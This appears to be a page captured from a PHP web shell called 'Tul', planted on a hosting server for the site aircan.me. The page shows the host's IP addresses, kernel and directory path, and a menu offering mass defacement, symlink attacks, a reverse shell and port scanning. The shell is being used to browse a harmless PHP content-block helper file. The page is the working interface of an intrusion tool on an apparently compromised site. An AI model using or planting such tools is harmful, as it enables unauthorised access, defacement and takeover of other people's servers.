Tul xxx Tul
User / IP
:
216.73.216.159
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
daniel
/
assets
/
php
/
Viewing: content_blocks.php
<?php // Utilidades para obtener/guardar bloques de contenido (key-value por secciones) require_once __DIR__ . '/db.php'; function _cb_get_pdo() { static $pdo = null; if ($pdo) return $pdo; try { $pdo = db(); } catch (PDOException $e) { return null; } return $pdo; } function getBlock($section, $field, $default = '') { $pdo = _cb_get_pdo(); if (!$pdo) return $default; try { $stmt = $pdo->prepare('SELECT content FROM content_blocks WHERE section = :section AND field = :field LIMIT 1'); $stmt->execute([':section' => $section, ':field' => $field]); $row = $stmt->fetch(PDO::FETCH_ASSOC); return $row ? $row['content'] : $default; } catch (PDOException $e) { return $default; } } function getBlockEsc($section, $field, $default = '') { return htmlspecialchars(getBlock($section, $field, $default), ENT_QUOTES, 'UTF-8'); } function getBlockRaw($section, $field, $default = '') { // Útil cuando el contenido es HTML return getBlock($section, $field, $default); } function getBlockLines($section, $field, $default = '') { $text = getBlock($section, $field, $default); $lines = preg_split("/\r\n|\r|\n/", $text); $out = []; foreach ($lines as $l) { $t = trim($l); if ($t !== '') $out[] = $t; } return $out; } ?>
Coded With 💗 by
0x6ick